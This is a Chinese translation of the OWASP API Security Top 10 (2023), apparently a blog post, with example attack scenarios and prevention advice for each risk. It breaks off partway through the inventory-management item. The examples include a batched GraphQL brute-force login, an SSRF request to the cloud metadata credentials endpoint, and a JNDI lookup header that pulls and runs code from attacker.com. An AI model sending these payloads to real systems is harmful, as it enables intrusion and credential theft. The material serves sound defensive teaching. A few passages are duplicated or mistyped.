OWASP 是一个致力于提升 Web 应用程序安全的国际非营利组织,其核心原则之一是公开、免费地提供所有相关资料,方便大众在其官方网站上轻松查阅,助力任何人提升 Web 应用程序的安全性。该组织提供的资料涵盖文档、工具、视频以及论坛等多种形式,其中,最为人所熟知的项目当属 OWASP Top 10。
这篇文章是我整理并翻译了 OWASF 2023 年的 API 安全问题 Top 10,原文的链接在这里:
安全问题 | 安全弱点 | 影响 | 如何预防 |
---|---|---|---|
对象级别授权漏洞(BOLA) | 访问控制机制失效 | 数据泄露、账户接管 | 实施适当的授权机制,使用随机值作为 ID |
认证漏洞 | 认证机制脆弱 | 账户控制权丧失 | 使用标准库,实施多因素认证和反暴力破解机制 |
对象属性级别授权漏洞 | 敏感属性暴露 | 数据泄露、权限提升 | 仅暴露必要的属性,避免批量赋值 |
不受限制的资源消耗 | 资源限制不当 | 拒绝服务、成本增加 | 限制请求频率和资源使用,配置消费限额 |
函数级别授权漏洞(BFLA) | 功能授权检查缺失 | 未授权访问管理功能 | 默认拒绝访问,明确授权特定角色 |
不受限制地接触敏感的业务流程 | 业务流程过度访问 | 业务损害 | 确定敏感流程,实施访问限制 |
服务端请求伪造(SSRF) | 未验证 URI | 内部服务暴露 | 使用白名单,禁用重定向,过滤输入 |
安全配置错误 | 配置不当 | 系统泄露或失守 | 加固 API 堆栈,审查配置,使用加密通信 |
库存管理不当 | 存在旧版本 API | 数据泄露、服务控制 | 清单管理,文档记录,风险评估 |
不安全的API使用 | 第三方 API 交互不安全 | 敏感信息泄露 | 验证第三方 API 安全性,使用安全的通信渠道 |
一、对象级别授权漏洞(BOLA)
威胁媒介/攻击媒介 | 安全弱点 | 影响 |
---|---|---|
API特定:易受攻击,利用难度低 | 普遍存在:检测难度低 | 中等技术问腿:特定于业务 |
攻击者可以通过篡改请求中发送的ID,来利用缺乏适当访问控制的 API 端点。对象 ID 可以是顺序整数、UUID 或通用字符串。无论数据类型如何,它们都很容易在请求目标(路径或查询字符串参数)、请求头甚至请求 Payload 中识别出来。 | 这个问题在基于 API 的应用程序中极为常见,因为服务器组件通常不会完全跟踪客户端的状态,而是更多地依赖客户端发送的对象 ID 等参数来决定访问哪些对象。服务器的响应通常足以了解请求是否成功。 | 未经授权访问其他用户的对象可能导致数据泄露给未经授权的第三方、数据丢失或数据被篡改。在某些情况下,未经授权访问对象还可能导致整个账户被接管。 |
API 是否易受攻击?
对象级别的授权是一种访问控制机制,通常在代码级别实现,验证用户只能访问他们应该有权访问的对象。
每个接收对象 ID 并对该对象执行任何操作的 API 端点都应实施对象级授权检查。这些检查应验证登录用户是否有权限对所请求的对象执行所请求的操作。
这一机制的失效通常会导致未经授权的信息泄露、修改或销毁所有数据
将当前会话的用户 ID(例如从 JWT 令牌中提取)与易受攻击的 ID 参数进行比较并不足以解决对象级授权(BOLA)失效问题。这种方法只能解决一小部分情况。
在 BOLA 的情况下,用户按照业务设计来说是有权限访问某个易受攻击的 API 端点/功能的,但安全问题出现在他们能够通过改变 ID 来访问到他们不应该能访问的特定数据对象。
如果攻击者成功访问了他们本不应有权访问的 API 端点/功能,这属于功能级别授权漏洞(BFLA),而不是 BOLA。
示例攻击场景
场景一
一个为在线商店提供平台的电子商务网站提供了带有收入图表的列表页面,用于显示其托管的商店。通过检查浏览器请求,攻击者可以识别出用作这些图表数据源的 API 端点及其 schema: /shops/{shopName}/revenue_data.json
。使用另一个 API 端点,攻击者可以获取所有托管商店名称的列表。通过编写一个简单的脚本来操作列表中的名称,替换 URL 中的 {shopName}
,攻击者可以访问数千家电子商务商店的销售数据。
场景二
一家汽车制造商通过移动 API 启用了车辆的远程控制,以便与驾驶员的手机进行通信。该 API 允许驾驶员远程启动和停止发动机,以及锁定和解锁车门。作为此流程的一部分,用户将车辆识别号(VIN)发送到 API。由于 API 未能验证 VIN 是否代表属于登录用户的车辆,因此会导致 BOLA 漏洞。攻击者可以访问不属于他的车辆。
场景三
在线文档存储服务允许用户查看、编辑、存储和删除他们的文档。当用户文档被删除时,会向 API 发送一个带有文档 ID 的 GraphQL 请求。由于没有进行任何进一步的权限检查就删除了给定 ID 的文档,因此用户可能能够删除另一个用户的文档。
POST /graphql
{
"operationName":"deleteReports",
"variables":{
"reportKeys":["<DOCUMENT_ID>"]
},
"query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) {
{
deleteReports(reportKeys: $reportKeys)
}
}"
}
如何预防
- 实施依赖于用户层级的适当授权机制。
- 在使用来自客户端的输入来访问数据库中的记录时,请使用授权机制检查登录的用户是否有权对记录执行请求的操作。
- 优先使用随机且不可预测的值作为记录 ID 的 GUID。
- 编写测试来评估授权机制的健壮性,不要部署导致测试失败的版本。
二、认证漏洞
威胁因素/攻击媒介 | 安全弱点 | 影响 |
---|---|---|
API特定:易受攻击,利用难度低 | 普遍存在:检测难度低 | 严重技术问题:特定于业务 |
身份验证机制很容易成为攻击者的目标,因为它暴露在每个人面前。虽然利用某些身份验证问题可能需要高级的技术能力,但用于暴露的工具却可以轻易获取。 | 软件和安全工程师对身份验证边界的误解以及固有的实施复杂性使得身份验证问题十分普遍。检测身份验证漏洞的方法是可用的,而且很容易创建。 | 攻击者可以完全控制其他用户在系统中的账户,读取他们的个人数据,并代表他们执行敏感操作。系统不太可能将攻击者的行为与合法用户的行为区分开来。 |
API 是否易受攻击?
认证端点和流程都是需要保护的资产。此外,像“忘记密码/重置密码”这类功能应与认证机制一样对待。
如果 API 满足以下条件,则它容易受到攻击:
- 允许攻击者使用有效的用户名和密码列表进行暴力破解(credential stuffing)。
- 允许攻击者对同一个用户帐户执行暴力攻击,而没有验证码/帐户锁定机制。
- 允许使用弱密码。
- 在URL中发送敏感的认证信息,如认证令牌和密码。
- 允许用户更改其电子邮件地址、当前密码或执行其他敏感操作,而无需确认密码。
- 不验证令牌的真实性。
- 接受未签名/弱签名的 JWT 令牌
({"alg":"none"})
。 - 不验证 JWT 的过期日期。
- 使用纯文本、非加密或弱哈希密码。
- 使用弱加密密钥。
此外,如果微服务满足以下条件,则也容易受到攻击:
- 其他微服务可以在没有认证的情况下访问它。
- 使用弱的或可预测的令牌来进行强制认证。
示例攻击场景
- 为了进行用户认证,客户端必须像下面这样发出带有用户凭证的API请求:
POST /graphql
{
"query":"mutation {
login (username:\"<username>\",password:\"<password>\") {
token
}
}"
}
如果凭证有效,那么将返回一个认证令牌,该令牌应在后续请求中提供以标识用户。尝试登录时受到严格的限制,每分钟只允许三个请求。
为了使用受害者的帐户进行暴力破解登录,攻击者利用 GraphQL 查询批处理来绕过请求速率限制,从而加速攻击:
POST /graphql
[
{
"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"},
{
"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"},
{
"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"},
...
{
"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"},
]
- 为了更新与用户帐户关联的电子邮件地址,客户端应发出如下API请求:
PUT /account
Authorization: Bearer <token>
{
"email": "<new_email_address>" }
由于 API 不要求用户提供当前密码来确认其身份,因此能够窃取认证令牌的攻击者可能会通过启动重置密码工作流来接管受害者的帐户,方法是在重置受害者帐户的密码后更新其电子邮件地址。
如何预防
- 确保你了解所有可能的 API 认证流程(实现一键认证功能的移动/网络/深层链接等)。问问你的工程师你错过了哪些流程。
- 了解你的认证机制。确保你理解它们是什么、如何使用它们。OAuth 不是认证,API 密钥也不是。
- 在认证、令牌生成或密码存储方面,不要重新写轮子。而是使用标准库。
- 在防止暴力破解、速率限制和锁定保护方面,凭据恢复/忘记密码端点应被视为登录端点。
- 对敏感操作(例如更改帐户所有者电子邮件地址/2FA电话号码)要求重新认证。
- 使用 OWASP 认证自查表 进行自查。
- 尽可能实施多因素认证。
- 实施反暴力破解机制,以减轻对你的认证端点的凭据填充、字典攻击和暴力攻击。这种机制应该比你的 API 上的常规速率限制机制更严格。
- 实施帐户锁定/验证码机制,以防止对特定用户进行暴力攻击。
- 实施弱密码检查。
- API Key 不应用于用户认证。它们仅应用于 API 客户端认证。
三、对象属性级别授权漏洞
威胁因素/攻击媒介 | 安全弱点 | 影响 |
---|---|---|
API特定:易受攻击,利用难度低 | 普遍存在:检测难度低 | 中等技术问题:特定于业务 |
API 倾向于暴露返回对象所有属性的。这对于 REST API 尤其有效。对于 GraphQL 等其他协议,可能需要精心设计的请求来指定应返回哪些属性。识别这些可以操纵的附加属性需要更多工作,但有一些自动化工具可用来辅助完成此任务。 | 检查 API 响应就足以识别返回对象表示中的敏感信息。通常使用模糊测试来识别额外的(隐藏)属性。是否可以更改这些属性,需要通过精心设计的API请求并分析响应来确定。如果目标属性未在 API 响应中返回,则可能需要进行副作用分析。 | 未经授权访问私有/敏感对象属性可能导致数据泄露、数据丢失或数据损坏。在某些情况下,未经授权访问对象属性可能导致权限提升或部分/完全接管账户。 |
API 是否易受攻击?
当允许用户通过 API 端点访问对象时,验证用户是否有权访问他们试图访问的特定对象属性非常重要。
如果出现以下情况,则认为 API 端点是脆弱的:
- API 端点暴露了被认为是敏感的对象属性,而这些属性是不应该被用户读取的。(之前称为“过度数据暴露”)
- API 端点允许用户更改、添加或删除敏感对象属性的值,而这些属性是用户本不应访问的。(之前称为“批量赋值”)
示例攻击场景
场景一
某约会应用允许用户举报其他用户的不当行为。作为此流程的一部分,用户点击“举报”按钮,会触发以下 API 调用:
POST /graphql
{
"operationName":"reportUser",
"variables":{
"userId": 313,
"reason":["offensive behavior"]
},
"query":"mutation reportUser($userId: ID!, $reason: String!) {
reportUser(userId: $userId, reason: $reason) {
status
message
reportedUser {
id
fullName
recentLocation
}
}
}"
}
此 API 端点是脆弱的,因为它允许已验证的用户访问敏感(被举报)用户对象的属性,如 “fullName” 和 “recentLocation”,而这些属性是不应被其他用户访问的。
场景二
有一个在线市场平台,房东可以将公寓出租给房客,但要求房东在接受房客的预订后,再向房客收费。
作为此流程的一部分,房东会发送一个 API 调用来 POST /api/host/approve_booking
,并带有以下合法负载:
{
"approved": true,
"comment": "Check-in is after 3pm"
}
如果房东重新发送合法请求,并添加以下恶意负载:
{
"approved": true,
"comment": "Check-in is after 3pm",
"total_stay_price": "$1,000,000"
}
此 API 端点是脆弱的,因为没有验证房东是否应该访问内部对象属性- total_stay_price
,而房客将被收取比原定费用更多的钱。
场景三
一个基于短视频的社交平台强制执行限制性内容过滤和审查。即使上传的视频被阻止,用户也可以使用以下 API 请求更改视频的描述:
如果一个恶意用户重新发送合法请求,并添加以下恶意负载:
PUT /api/video/update_video
{
"description": "a funny video about cats"
}
由于此 API 端点是脆弱的,没有验证用户是否应该访问内部对象属性-blocked
,用户可以将其值从 true
更改为 false
并解锁自己被阻止的内容。
如何预防
- 当通过 API 端点暴露对象时,请始终确保用户有权访问您暴露的对象属性。
- 避免使用诸如
to_json()
和to_string()
之类的通用方法。相反,应该精心挑选您想要返回的特定对象属性。 - 如果可能,请避免使用自动将客户端输入绑定到代码变量、内部对象或对象属性的函数(“批量赋值”)。
- 仅允许对应该由客户端更新的对象属性进行更改。
- 实施基于 schema 的响应验证机制,作为额外的安全层。作为该机制的一部分,定义并强制执行所有 API 方法返回的数据。
- 根据端点的业务/功能要求,将返回的数据结构保持在最低限度。
四、不受限制的资源消耗
威胁因素/攻击媒介 | 安全弱点 | 影响 |
---|---|---|
API特定:可利用性一般 | 普遍存在:易于检测 | 严重技术问题:业务特定 |
利用简单的 API 请求即可进行攻击。可以从单个本地计算机或使用云计算资源执行多个并发请求。大多数可用的自动化工具都旨在通过高流量负载对API的服务速率造成拒绝服务(DoS)攻击。 | 通常会发现有些 API 不会限制客户端交互或资源消耗。精心设计的 API 请求,例如包含控制要返回的资源数量的参数,以及执行响应状态/时间/长度分析的请求,应该能够识别出问题所在。对于批处理操作,这一方法同样有效。尽管威胁因素无法直观地看到成本影响,但可以根据服务提供商(例如云提供商)的业务/定价模型来推断。 | 利用可能导致由于资源枯竭而引发的拒绝服务(DoS)攻击,但也可能导致运营成本增加,例如由于CPU需求增加而增加的基础设施成本、云存储需求增加等。 |
API 是否易受攻击?
满足 API 请求需要诸如网络带宽、CPU、内存和存储等资源。有时,服务提供商会通过 API 集成提供所需的资源,并按请求付费,例如发送电子邮件/短信/电话、生物识别验证等。
如果以下限制中至少有一个缺失或设置不当(例如设置得太高或太低),则API是脆弱的:
- 执行超时时间
- 最大可分配内存
- 最大文件描述符数量
- 最大进程数
- 最大上传文件大小
- 单个 API 客户端请求中要执行的操作数(例如 GraphQL 批处理)
- 单个请求-响应中每页要返回的记录数
- 第三方服务提供商的支出限额
示例攻击场景
场景一
一个社交网络使用 SMS 短信验证实现了 忘记密码功能,用户能够通过 SMS 接收一次性令牌来重置密码。当用户点击“忘记密码”时,会从用户的浏览器向后端 API 发送一个 API 调用:
POST /initiate_forgot_password
{
"step": 1,
"user_number": "6501113434"
}
然后从后端向负责发送 SMS 的第三方 API 发送一个 API 调用:
POST /sms/send_reset_pass_code
Host: willyo.net
{
"phone_number": "6501113434"
}
第三方提供商 Willyo 对此类调用每次收费 0.05 美元。
攻击者编写了一个脚本,将第一个 API 调用发送数万次。后端随之请求 Willyo 发送数万条短信,导致该公司在几分钟内损失数千美元。
场景二
某个 GraphQL API 端点允许用户上传头像。
POST /graphql
{
"query": "mutation {
uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {
url
}
}"
}
上传完成后,API 会根据上传的图片生成不同大小的多个缩略图。此图形操作会占用服务器大量内存。
API 实现了传统的速率限制保护——用户不能在短时间内过于频繁地访问 GraphQL 端点。API 还会在生成缩略图之前检查上传图片的大小,以避免处理过大的图片。
攻击者可以利用 GraphQL 的灵活性轻松绕过这些机制:
POST /graphql
[
{
"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"},
{
"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"},
...
{
"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"},
}
由于 API 不限制 uploadPic 操作的尝试次数,因此此调用将导致服务器内存耗尽和拒绝服务。
场景三
服务提供商允许客户端使用其 API 下载任意大小的文件。这些文件存储在云对象存储中,并且不会频繁更改。服务提供商依赖缓存服务来提高服务速率并降低带宽消耗。缓存服务只缓存最大 15GB 的文件。
当其中一个文件更新时,其大小增加到 18GB。所有服务客户端都立即开始拉取新版本。由于没有消费成本警报,也没有云服务的最大成本限额,因此下个月的账单从平均 13 美元增加到 8000 美元。
如何预防
- 使用一种解决方案,该方案能够方便地限制内存、CPU、重启次数、文件描述符和进程,例如容器/无服务器代码(例如 Lambdas)。
- 对所有传入参数和有效载荷的数据大小定义并强制执行最大值,例如字符串的最大长度、数组中的最大元素数量以及最大上传文件大小(无论是否存储在本地或云存储中)。
- 实施限制,规定客户端在定义的时间范围内与 API 交互的频率(速率限制)。
- 应根据业务需求对速率限制进行微调。某些 API 端点可能需要更严格的策略。
- 限制/调节单个 API 客户端/用户可以执行单个操作的次数或频率(例如,验证 OTP,或在未访问一次性 URL 的情况下请求密码恢复)。
- 为查询字符串和请求正文参数添加适当的服务器端验证,特别是控制响应中要返回的记录数的参数。
- 为所有服务提供商/API 集成配置消费限额。如果无法设置消费限额,则应配置计费警报。
五、函数级别授权漏洞(BFLA)
威胁因素/攻击媒介 | 安全弱点 | 影响 |
---|---|---|
API特定:易利用性 | 常见:易检测性 | 严重技术问题:业务特定 |
攻击者发送合法的 API 调用到他们本不应以匿名用户或常规的非特权用户身份访问的API端点。暴露的端点将很容易被利用。 | 功能或资源的授权检查通常通过配置或代码级别进行管理。 |
由于现代应用可以包含多种类型的角色、组和复杂的用户层次结构(例如,子用户或具有多个角色的用户),因此实施适当的检查可能是一项令人困惑的任务。
由于 API 更加结构化,并且访问不同的功能更加可预测,因此在 API 中更容易发现这些缺陷。 | 此类缺陷允许攻击者访问未授权的功能。管理功能是此类攻击的主要目标,并可能导致数据泄露、数据丢失或数据损坏。最终,它可能导致服务中断。
API 是否易受攻击?
发现函数级别授权问题的最佳方法是对授权机制进行深入分析,同时牢记应用程序中的用户层级、不同角色或组,并询问自己以下问题:
- 普通用户可以访问管理端点吗?
- X 组的用户是否可以通过简单猜测端点 URL 和参数(例如,/api/v1/users/export_all)来访问本应仅暴露给 Y 组用户的函数?
不要仅根据 URL 路径就假定某个 API 端点是常规的或仅用于管理的。
尽管开发人员可能会选择在特定相对路径(如 /api/admins
)下公开大多数管理端点,但非常常见的是,这些管理端点会与其他常规端点(如 /api/users
)一起位于其他相对路径下。
示例攻击场景
场景一
在一个只允许受邀用户加入的应用程序的注册过程中,移动应用程序会触发对 GET /api/invites/{invite_guid}
的 API 调用。响应包含一个 JSON,其中包含有关邀请的详细信息,包括用户的角色和用户的电子邮件。
攻击者复制请求,并将 HTTP 方法和端点操作为 POST /api/invites/new
。只有管理员才能使用管理控制台访问该端点。该端点未实施功能级授权检查。
攻击者利用这一问题,以管理员权限发送新邀请:
POST /api/invites/new
{
"email": "attacker@somehost.com",
"role":"admin"
}
之后,攻击者会使用恶意制作的邀请函来创建自己的管理员账户,并获得对系统的完全访问权限。
场景二
有一个 API 包含一个端点,该端点应仅向管理员开放 - GET /api/admin/v1/users/all
。这个端点返回应用程序中所有用户的详细信息,并且没有实施功能级别的授权检查。攻击者了解 API 结构后,通过合理猜测成功访问了这个端点,从而暴露了应用程序用户的敏感详细信息。
如何预防
- 你的应用程序应该有一个一致且易于分析的授权模块,该模块可以从你的所有业务功能中调用。通常,此类保护由应用程序代码外部的一个或多个组件提供。
- 执行机制应默认拒绝所有访问,要求对每个功能的访问都要明确授予特定角色。
- 在牢记应用程序的业务逻辑和组层次结构的同时,针对函数级别授权缺陷检查你的 API 端点。
- 确保你的所有管理控制器都继承自一个管理抽象控制器,该控制器基于用户的组/角色实现授权检查。
- 确保常规控制器内部的管理功能根据用户的组和角色实施授权检查。
六、不受限制地接触敏感的业务流程
威胁因素/攻击媒介 | 安全弱点 | 影响 |
---|---|---|
API特定:易利用性 | 普遍:平均可检测性 | 中等技术问题:业务特定 |
利用通常涉及了解 API 支持的业务模式,找到敏感的业务流,并自动访问这些业务流,从而对业务造成损害。 | 缺乏对 API 的整体了解以全面支持业务需求,往往会导致这一问题的普遍存在。攻击者需要手动识别目标工作流中涉及哪些资源(如端点),以及它们是如何协同工作的。如果缓解机制已经到位,攻击者需要找到绕过这些机制的方法。 | 一般来说,不会产生技术影响。漏洞利用可能会以不同方式损害企业利益,例如:阻止合法用户购买产品,或导致游戏内部经济膨胀。 |
API是否易受攻击?
在创建 API 端点时,了解它所暴露的业务流程非常重要。有些业务流程比其他流程更为敏感,过度访问这些流程可能会对业务造成损害。
与敏感业务流程和过度访问风险相关的常见示例包括:
- 购买产品的流程——攻击者可以一次性购买高需求商品的所有库存,并以更高的价格转售(倒卖)
- 创建评论/帖子流程——攻击者可以向系统发送垃圾邮件
- 预订服务——攻击者可以预订所有可用的时间段,从而阻止其他用户使用该系统
过度访问的风险可能会因行业和业务的不同而变化。例如,一个社交网络可能会将脚本创建帖子视为垃圾邮件的风险,而另一个社交网络则可能鼓励这样做。
如果 API 端点暴露了一个敏感的业务流程,而没有对其进行适当的访问限制,那么这个 API 端点就是易受攻击的。
示例攻击场景
场景一
一家科技公司宣布他们将在感恩节发布一款新的游戏主机。该产品需求量非常大,但库存有限。攻击者编写了代码以自动购买新产品并完成交易。
在发布日,攻击者从不同的 IP 地址和位置运行分散的代码。由于 API 没有实施适当的保护,攻击者得以在其他合法用户之前购买了大部分库存。
随后,攻击者在另一个平台上以更高的价格出售该产品。
场景二
一家航空公司提供在线购票服务,且不收取退票费。一个具有恶意的用户预订了某热门航班 90%的座位。
在航班起飞前几天,该恶意用户一次性取消了所有机票,迫使航空公司为了航班满载而打折出售机票。
此时,该用户为自己购买了一张比原价便宜得多的机票。
场景三
一个拼车应用提供了一个推荐计划——用户可以邀请他们的朋友加入应用,并为每个加入应用的朋友获得积分。这些积分之后可以用作现金来预订拼车。
攻击者通过编写脚本来自动化注册过程,从而利用此流程,每个新用户都会为攻击者的钱包增加积分。
攻击者之后可以享受免费拼车服务或出售具有过多积分的账户以换取现金。
如何预防
预防应分为两个层面进行:
- 业务层面——确定如果过度使用可能会对企业造成伤害的业务流程。
- 工程层面——选择正确的保护机制以降低业务风险。
有些保护机制较为简单,而有些则更难实施。以下方法用于减缓自动化威胁:
- 设备指纹:拒绝向意外的客户端设备提供服务(例如无头浏览器)往往会使威胁行为者使用更复杂的解决方案,从而增加他们的成本。
- 人类检测:使用验证码或更先进的生物识别解决方案(例如打字模式)。
- 非人类模式分析:分析用户流以检测非人类模式(例如,用户在不到一秒钟的时间内访问了“加入购物车”和“完成购买”功能)。
- 考虑阻止 Tor (洋葱路由)出口节点和知名代理的 IP 地址。
- 安全并限制对直接由机器使用的 API 的访问(例如开发人员和 B2B API)。它们往往成为攻击者的容易目标,因为它们通常没有实施所有必要的保护机制。
七、服务端请求伪造(SSRF)
威胁因素/攻击媒介 | 安全弱点 | 影响 |
---|---|---|
API 特定:易利用 | 普遍:平均可检测性 | 中等技术问题:业务特定 |
利用 SSRF(服务器端请求伪造)需要攻击者找到一个 API 端点,这个端点可以访问由客户端提供的 URI。一般来说,基本的 SSRF(当响应返回给攻击者时)比盲 SSR 更容易被利用,因为在盲 SSRF 中,攻击者无法得知攻击是否成功。 | 在现代应用开发中,鼓励开发者访问客户端提供的URI。然而,缺乏或不当验证这些 URI是常见问题。为了检测这些问题,通常需要定期分析API请求和响应。当响应没有返回(即盲 SSRF)时,检测漏洞就需要更多的努力和创意。 | 成功利用 SSRF 攻击可能会导致以下问题: |
- 内部服务枚举(例如端口扫描),这意味着攻击者可以探测服务器内部有哪些服务在运行。
- 信息泄露,即攻击者可能获取到敏感数据或配置信息。
- 绕过防火墙或其他安全机制,使得攻击者能够访问原本被保护的网络资源。
- 在某些情况下,它甚至可能导致服务器拒绝服务(DoS)或被用作代理来隐藏恶意活动。 |
API是否易受攻击?
服务器端请求伪造(SSRF)漏洞发生在 API 在获取远程资源时没有对用户提供的 URL 进行验证时。这使得攻击者能够迫使应用程序向一个意料之外的地址发送精心构造的请求,即便该地址受到防火墙或 VPN 的保护。
现代应用的开发概念使得 SSRF 更加普遍和危险。
- 更普遍——以下概念鼓励开发者基于用户输入来访问外部资源:Webhooks、从 URL 获取文件、自定义单点登录(SSO)和 URL 预览。
- 更危险——像云提供商、Kubernetes 和 Docker 这些现代技术通过 HTTP 协议在可预测、众所周知的路径上暴露管理和控制的 URL。这些 URL 都是 SSRF 攻击的易攻击目标。
由于现代应用的互联性质,限制应用程序的出站流量也更具挑战性。SSRF 风险并不总是可以完全消除。在选择保护机制时,考虑业务风险和需求非常重要。
示例攻击场景
场景一
有一个社交网络产品允许用户上传个人照片。用户可以选择从自己的设备上传图片文件,或提供图片的 URL。选择第二种方式将触发以下 API 调用:
POST /api/profile/upload_picture
{
"picture_url": "http://example.com/profile_pic.jpg"
}
攻击者可以发送一个恶意 URL,并使用 API 端点在内部网络中启动端口扫描。,攻击者可以基于响应时间判断端口是否开放。
{
"picture_url": "localhost:8080"
}
场景二
有一个安全类的产品在检测到网络异常时会生成一个事件。有些团队喜欢在通用的监控系统(如 SIEM(安全信息和事件管理))中查看这些事件。因此该产品可通过 Webhook 与其他系统集成。
作为创建新 Webhook 的一部分,GraphQL mutation 将与 SIEM API 的 URL 一起发送。
POST /graphql
[
{
"variables": {
},
"query": "mutation {
createNotificationChannel(input: {
channelName: \"ch_piney\",
notificationChannelConfig: {
customWebhookChannelConfigs: [
{
url: \"http://www.siem-system.com/create_new_event\",
send_test_req: true
}
]
}
}){
channelId
}
}"
}
]
在创建的过程中,API 后端会向用户提供的 Webhook URL 发送测试请求,并向用户显示响应。
攻击者可以利用这一流程,使 API 请求敏感资源,如会暴露安全凭证的内部云元数据服务:
POST /graphql
[
{
"variables": {
},
"query": "mutation {
createNotificationChannel(input: {
channelName: \"ch_piney\",
notificationChannelConfig: {
customWebhookChannelConfigs: [
{
url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\",
send_test_req: true
}
]
}
}) {
channelId
}
}
}
]
由于应用程序会显示测试请求的响应,因此攻击者可以查看云环境的安全凭证。
如何预防
- 将网络中的资源获取机制隔离开来:通常这些功能旨在检索远程资源,而非内部资源。
- 尽可能使用白名单来以限制以下资源:
- 用户期望从哪些远程源下载资源(例如,Google Drive、Gravatar等)
- URL 方案和端口
- 指定功能所接受的媒体类型(MIME 类型),这意味着用户只能上传这些特定类型的文件,其他类型的文件会被拒绝。
- 禁用 HTTP 重定向。
- 使用经过了充分测试和维护的 URL 解析器,以避免由于 URL 解析不一致导致的问题。
- 验证和过滤所有客户端提供的输入数据。
- 不要将原始响应直接发送给客户端。
八、安全配置错误
威胁因素/攻击媒介 | 安全弱点 | 影响 |
---|---|---|
API特定:易利用 | 普遍性广泛:易检测 | 严重技术问题 |
攻击者通常会尝试寻找未修补的漏洞、常见的端点、使用不安全默认配置运行的服务或未受保护的文件和目录,以获取未经授权的访问或系统信息。大部分此类信息都是公开的,并且可能已有可利用的漏洞利用工具。 | 安全配置错误可以在 API 堆栈的任何级别发生,从网络级别到应用级别。自动化工具可用于检测和利用诸如不必要的服务或遗留选项等配置错误。 | 安全配置错误不仅会暴露敏感的用户数据,还可能泄露系统内部细节,导致服务器完全失守。 |
API是否易受攻击?
如果以下情况存在,应用程序接口(API)可能会变得易受攻击:
- 如果 API 堆栈的任何部分缺少适当的安全加固,或者云服务上的权限配置不当
- 如果缺少最新的安全补丁,或者系统已经过时;
- 如果启用了不必要的功能(例如 HTTP 方法、日志功能);
- 如果 HTTP 服务器链中的服务器处理传入请求的方式存在差异;
- 如果没有传输层安全性(TLS);
- 如果没有向客户端发送安全或缓存控制指令;
- 如果缺少跨域资源共享(CORS)策略或设置不当;
- 如果错误消息包含堆栈跟踪,或暴露其他敏感信息。
示例攻击场景
场景一
应用程序接口后端服务器会维护一个由流行的第三方开源日志工具编写的访问日志,该工具支持占位符扩展和 JNDI(Java 命名和目录接口)查找,这两种功能在默认情况下都已启用。每次请求都会向日志文件写入一个新条目,格式如下:
<method> <api_version>/<path> - <status_code>.
攻击者者发出以下 API 请求,并将其写入访问日志文件:
GET /health
X-Api-Version: ${
jndi:ldap://attacker.com/Malicious.class}
由于日志实用程序的不安全默认配置和宽松的网络出站策略,为了在访问日志中写入相应的条目,同时在扩展 X-Api-Version 请求头的值时,日志实用程序将从攻击者远程控制的服务器中提取并执行 Malicious.class 对象。
由于日志工具的不安全默认配置和宽松的网络出站策略,在扩展 X-Api-Version
请求头中的值时,为了将相应的条目写入访问日志,日志工具会从攻击者远程控制的服务器上拉取并执行 Malicious.class
对象。
场景二
一个社交网络网站提供“私聊”功能,允许用户进行私密对话。为了检索特定对话的新消息,该网站会自动发出以下API请求(无需用户交互)。
GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA
由于 API 响应不包含 Cache-Control HTTP
响应头,因此私聊最终会被网络浏览器缓存,从而使恶意行为者可以从文件系统中的浏览器缓存文件中获取这些对话。
如何预防
API 生命周期应包括:
- 一个可重复的加固过程,可以快速轻松地部署一个适当锁定的环境
- 一项审查和更新整个 API 堆栈配置的任务。审查应包括:编排文件、API 组件和云服务(例如 S3 存储桶权限)
- 一个自动化的流程,以持续评估所有环境中配置有效性
此外:
- 确保从客户端到 API 服务器以及任何下游/上游组件的所有 API 通信都通过加密通信通道(TLS)进行,无论是内部 API 还是面向公众的 API。
- 具体说明每个 API 可以通过哪些 HTTP 方法进行访问:所有其他 HTTP 方法都应被禁用(例如 HEAD)。
- 期望从基于浏览器的客户端(例如,WebApp 前端)访问的 API 应至少:
- 实施适当的跨源资源共享 (CORS) 策略
- 包括适用的安全请求头
- 将传入的内容类型/数据格式限制为符合业务/功能要求的格式。
- 确保 HTTP 服务器链中的所有服务器(例如负载均衡器、反向和正向代理以及后端服务器)以统一的方式处理传入的请求,以避免出现不同步问题。
- 在适用的情况下,定义并执行所有 API 响应有效负载模式,包括错误响应,以防止异常跟踪或其他有价值的信息被发送回给攻击者。
九、库存管理不当
威胁因素/攻击媒介 | 安全弱点 | 影响 |
---|---|---|
API特定:易受攻击,利用难度低 | 普遍存在:检测难度一般 | 中等技术问题:特定于业务 |
威胁者常常利用未及时更新和存在安全漏洞的旧 API 版本或端点,获得非法访问权限。有时,他们甚至能利用现成的漏洞进行攻击。此外,他们还可能通过第三方获取敏感数据,尽管与这些第三方并无数据共享的必要。 | 文档过时会使查找和修复安全漏洞变得更为困难。若缺乏资产盘点和报废策略,系统将因未及时更新补丁而运行,进而可能导致敏感数据外泄。如今微服务等现代架构理念使得应用易于部署且各自独立(例如云计算和 Kubernetes),因此常常会发现 API 主机被不必要地暴露。通过简单的 Google 搜索、DNS 枚举或使用专用搜索引擎搜索连接到互联网上的各类服务器(如网络摄像头、路由器、服务器等),攻击者就能轻易地锁定攻击目标。 | 攻击者有机会获取敏感数据,甚至控制整个服务器。在某些情况下,不同版本的 API 或部署会共享同一个存有真实数据的数据库。攻击者可能会利用旧版 API 中已废弃的端点,访问管理功能或利用已知的安全漏洞。 |
API 是否易受攻击?
API 和现代应用程序的庞大且相互连接的特性带来了新的挑战。对于企业组织而言,不仅需要对自身的 API 和 API 端点有深入的了解和可见性,同时还需要了解 API 如何与外部第三方存储或共享数据,这两点都至关重要。
运行多个版本的 API 需要 API 提供商提供额外的管理资源,并扩大了攻击面。
当满足以下条件时,说明 API 存在“文档盲点”:
- API 主机的目的不明确,且无法明确回答以下问题:
- API 运行在哪个环境(例如生产、演示、测试、开发)?
